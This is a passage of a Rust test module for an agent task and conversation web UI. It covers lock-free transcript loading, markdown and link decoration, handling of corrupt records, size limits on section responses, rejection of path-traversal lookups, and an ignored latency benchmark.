27123        let job = crate::worker::Job {
27124            id: "abcdef".into(),
27125            sequence: 1,
27126            kind: "chat".into(),
27127            key: id.clone(),
27128            payload: serde_json::json!({ "talk": id }),
27129            generation: "test".into(),
27130            version: None,
27131            status: crate::worker::Status::Running,
27132            result: None,
27133            pid: None,
27134            created_at: 0,
27135            finished_at: None,
27136        };
27137        std::fs::write(
27138            directory.join("job.json"),
27139            serde_json::to_vec(&job).unwrap(),
27140        )
27141        .unwrap();
27142        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27143        let store =
27144            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27145        let runtime = tokio::runtime::Builder::new_current_thread()
27146            .enable_all()
27147            .max_blocking_threads(1)
27148            .build()
27149            .unwrap();
27150        runtime.block_on(async {
27151            let (release, held) = std::sync::mpsc::channel();
27152            let (started, ready) = tokio::sync::oneshot::channel();
27153            let occupied = tokio::task::spawn_blocking(move || {
27154                started.send(()).unwrap();
27155                held.recv().unwrap();
27156            });
27157            ready.await.unwrap();
27158            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27159            let bulk = ui
27160                .monitor
27161                .bulk_slots
27162                .clone()
27163                .acquire_many_owned(2)
27164                .await
27165                .unwrap();
27166            let result = tokio::time::timeout(
27167                Duration::from_secs(2),
27168                talk_core(State(ui.clone()), Path(id.clone())),
27169            )
27170            .await;
27171            // Release all blockers before assertions, including on a regression.
27172            drop(store);
27173            drop(bulk);
27174            release.send(()).unwrap();
27175            occupied.await.unwrap();
27176            let _ = secondary.await.unwrap().unwrap();
27177            let Json(core) = result
27178                .expect("transcript must bypass secondary work and the worker store lock")
27179                .unwrap();
27180            assert!(
27181                core.thinking,
27182                "read-only observation retains live worker state"
27183            );
27184            assert_eq!(core.talk.id, id);
27185            let admission_ui = ui.clone();
27186            let (release, held) = std::sync::mpsc::channel();
27187            let (started, ready) = tokio::sync::oneshot::channel();
27188            let admission = std::thread::spawn(move || {
27189                let _lock = admission_ui.talk_turns.lock().unwrap();
27190                started.send(()).unwrap();
27191                held.recv().unwrap();
27192            });
27193            ready.await.unwrap();
27194            let result = tokio::time::timeout(
27195                Duration::from_secs(2),
27196                talk_core(State(ui.clone()), Path(id.clone())),
27197            )
27198            .await;
27199            release.send(()).unwrap();
27200            admission.join().unwrap();
27201            assert!(
27202                result
27203                    .expect("display must not wait behind local admission")
27204                    .unwrap()
27205                    .0
27206                    .thinking
27207            );
27208            assert!(ui.is_thinking(&id));
27209            assert!(ui.is_thinking_observed(&id));
27210            drop(live);
27211            assert!(
27212                !ui.is_thinking_observed(&id),
27213                "a finished lease no longer appears live"
27214            );
27215            assert!(!ui.is_thinking(&id));
27216            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
27217            assert!(
27218                ui.is_thinking_observed(&id),
27219                "local admission remains visible"
27220            );
27221        });
27222    }
27223
27224    #[tokio::test]
27225    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
27226        let home = tempfile::tempdir().unwrap();
27227        let ui = delta_test_ui(home.path());
27228        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27229        let mut task = Task::new(
27230            "Referenced task".into(),
27231            "Unrelated instruction history".repeat(1024),
27232            home.path().into(),
27233            Source::Human,
27234        );
27235        task.id = "20261019-000000-abcd".into();
27236        ui.queue.put(&mut task).unwrap();
27237        let mut conversation = ui.talks.get(&id).unwrap();
27238        conversation.turns.push(talk::Turn {
27239            sender: Some(talk::Sender::Persona),
27240            who: talk::Who::Agent,
27241            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
27242            at: conversation.created_at,
27243            attachments: Vec::new(),
27244            usage: None,
27245            breaks: None,
27246            messages: Vec::new(),
27247            posted_by: None,
27248        });
27249        ui.talks.put(&mut conversation).unwrap();
27250
27251        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
27252        let markdown = serde_json::to_value(&core.turn_bodies_md)
27253            .unwrap()
27254            .to_string();
27255        assert!(markdown.contains("\"strong\""));
27256        assert!(markdown.contains("\"table\""));
27257        assert!(markdown.contains("\"bullet_list\""));
27258        assert!(markdown.contains("\"code_block\""));
27259        assert!(!markdown.contains("\"internal_link\""));
27260        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
27261        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
27262        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
27263
27264        // Deferred decoration still resolves the same validated task, without
27265        // touching opaque code blocks or changing the original transcript.
27266        let references = ui.references.for_talk(home.path(), &conversation);
27267        let mut decorated = core.turn_bodies_md[0].clone();
27268        references.markdown(&mut decorated);
27269        let decorated = serde_json::to_value(decorated).unwrap().to_string();
27270        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
27271        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
27272        assert_eq!(
27273            ui.talks.get(&conversation.id).unwrap().turns[0].body,
27274            conversation.turns[0].body
27275        );
27276    }
27277
27278    #[tokio::test]
27279    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
27280        let home = tempfile::tempdir().unwrap();
27281        let ui = delta_test_ui(home.path());
27282        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27283        let mut run = RunState::new(
27284            PathBuf::from("/repo"),
27285            "main".into(),
27286            "01234567".into(),
27287            "Useful run".into(),
27288            Config::default(),
27289        );
27290        run.save_under(home.path()).unwrap();
27291        let mut task = Task::new(
27292            "Related".into(),
27293            "body".into(),
27294            PathBuf::from("/repo"),
27295            Source::Agent {
27296                run: talk_id.clone(),
27297                node: "chat".into(),
27298            },
27299        );
27300        task.runs = vec![run.id.clone()];
27301        ui.queue.put(&mut task).unwrap();
27302        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
27303        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
27304        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
27305        assert!(
27306            run_detail(State(ui.clone()), Path(run.id.clone()))
27307                .await
27308                .is_ok()
27309        );
27310        assert!(
27311            talk_sections(State(ui.clone()), Path(talk_id.clone()))
27312                .await
27313                .is_ok()
27314        );
27315        // Previously indexed corruption must not masquerade as no relationship.
27316        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27317        assert!(ui.find_task_for_run(&run.id).is_err());
27318        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
27319        ui.queue.put(&mut task).unwrap();
27320        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
27321    }
27322
27323    #[tokio::test]
27324    async fn conversation_sections_omit_large_task_instructions() {
27325        let home = tempfile::tempdir().unwrap();
27326        let ui = delta_test_ui(home.path());
27327        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27328        let mut task = Task::new(
27329            "filed task".into(),
27330            "large instruction ".repeat(65536),
27331            PathBuf::from("/repo"),
27332            Source::Agent {
27333                run: id.clone(),
27334                node: "chat".into(),
27335            },
27336        );
27337        ui.queue.put(&mut task).unwrap();
27338        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
27339        assert_eq!(sections["tasks"][0]["id"], task.id);
27340        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
27341        assert!(sections["tasks"][0].get("instruction").is_none());
27342        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
27343    }
27344
27345    #[test]
27346    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
27347        let home = tempfile::tempdir().unwrap();
27348        let talks = Talks::at(home.path().join("talks"));
27349        seed_talk_at(&talks, "20261019-000001-abcd", "open");
27350        seed_talk_at(&talks, "20261019-000002-abcd", "open");
27351        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
27352        assert!(resolve_talk(&talks, "../outside").is_err());
27353        assert!(resolve_talk(&talks, "abcd").is_err());
27354        assert_eq!(
27355            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
27356            "20261019-000001-abcd"
27357        );
27358    }
27359
27360    include!(concat!(
27361        env!("CARGO_MANIFEST_DIR"),
27362        "/tests/web_latency/baseline.rs"
27363    ));
27364
27365    include!(concat!(
27366        env!("CARGO_MANIFEST_DIR"),
27367        "/tests/web_latency/lists.rs"
27368    ));
27369
27370    #[tokio::test]
27371    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
27372    async fn web_history_latency_measurement() {
27373        use std::time::Instant;
27374        let home = tempfile::tempdir().unwrap();
27375        let ui = delta_test_ui(home.path());
27376        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27377        let mut template = ui.talks.get(&id).unwrap();
27378        template.turns = serde_json::from_value(serde_json::json!([{
27379            "who": "operator", "body": "Show the accumulated work and its current status.",
27380            "at": Timestamp::now().to_string(),
27381        }]))
27382        .unwrap();
27383        std::fs::write(
27384            ui.talks.path_of(&id),
27385            serde_json::to_vec(&template).unwrap(),
27386        )
27387        .unwrap();
27388        let count = std::env::var("MAGI_BENCH_RECORDS")
27389            .ok()
27390            .and_then(|s| s.parse::<usize>().ok())
27391            .unwrap_or(1000);
27392        for i in 0..count {
27393            template.id = format!("20261019-{i:06}-history");
27394            template.pending = "history ".repeat(2048);
27395            std::fs::write(
27396                ui.talks.path_of(&template.id),
27397                serde_json::to_vec(&template).unwrap(),
27398            )
27399            .unwrap();
27400            let mut task = Task::new(
27401                "old task".into(),
27402                "instruction ".repeat(2048),
27403                PathBuf::from("/repo"),
27404                Source::Human,
27405            );
27406            task.id = format!("20261019-{i:06}-task");
27407            ui.queue.put(&mut task).unwrap();
27408        }
27409        for baseline in [true, false] {
27410            for clients in [1, 4] {
27411                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27412                let mut samples = Vec::new();
27413                for _ in 0..12 {
27414                    let mut jobs = Vec::new();
27415                    for _ in 0..clients {
27416                        let ui = ui.clone();
27417                        let id = id.clone();
27418                        jobs.push(tokio::spawn(async move {
27419                            let start = Instant::now();
27420                            if baseline {
27421                                let response =
27422                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27423                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27424                                return (
27425                                    elapsed,
27426                                    elapsed,
27427                                    serde_json::to_vec(&response).unwrap().len(),
27428                                );
27429                            }
27430                            let core = talk_core(State(ui.clone()), Path(id.clone()));
27431                            let secondary = talk_sections(State(ui), Path(id));
27432                            let (first, total) = tokio::join!(
27433                                async {
27434                                    let value = core.await.unwrap().0;
27435                                    (
27436                                        start.elapsed().as_secs_f64() * 1000.0,
27437                                        serde_json::to_vec(&value).unwrap().len(),
27438                                    )
27439                                },
27440                                async {
27441                                    let value = secondary.await.unwrap().0;
27442                                    (
27443                                        start.elapsed().as_secs_f64() * 1000.0,
27444                                        serde_json::to_vec(&value).unwrap().len(),
27445                                    )
27446                                }
27447                            );
27448                            (first.0, first.0.max(total.0), first.1 + total.1)
27449                        }));
27450                    }
27451                    for job in jobs {
27452                        samples.push(job.await.unwrap());
27453                    }
27454                }
27455                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27456                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27457                first.sort_by(f64::total_cmp);
27458                total.sort_by(f64::total_cmp);
27459                let n = first.len();
27460                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27461                println!(
27462                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27463                    first[n / 2],
27464                    first[(n * 95 / 100).min(n - 1)],
27465                    total[n / 2],
27466                    total[(n * 95 / 100).min(n - 1)],
27467                    samples[0].2
27468                );
27469            }
27470        }
27471    }
27472
27473    #[test]
27474    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27475        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
27476        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27477        assert!(APP_JS.contains("function nextRunRequest(id)"));
27478        assert!(APP_JS.contains("function runShell(id, summary)"));
27479        assert!(APP_JS.contains("function nextTaskRequest(id)"));
27480        assert!(APP_JS.contains("function taskShell(id, summary)"));
27481        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27482    }
27483}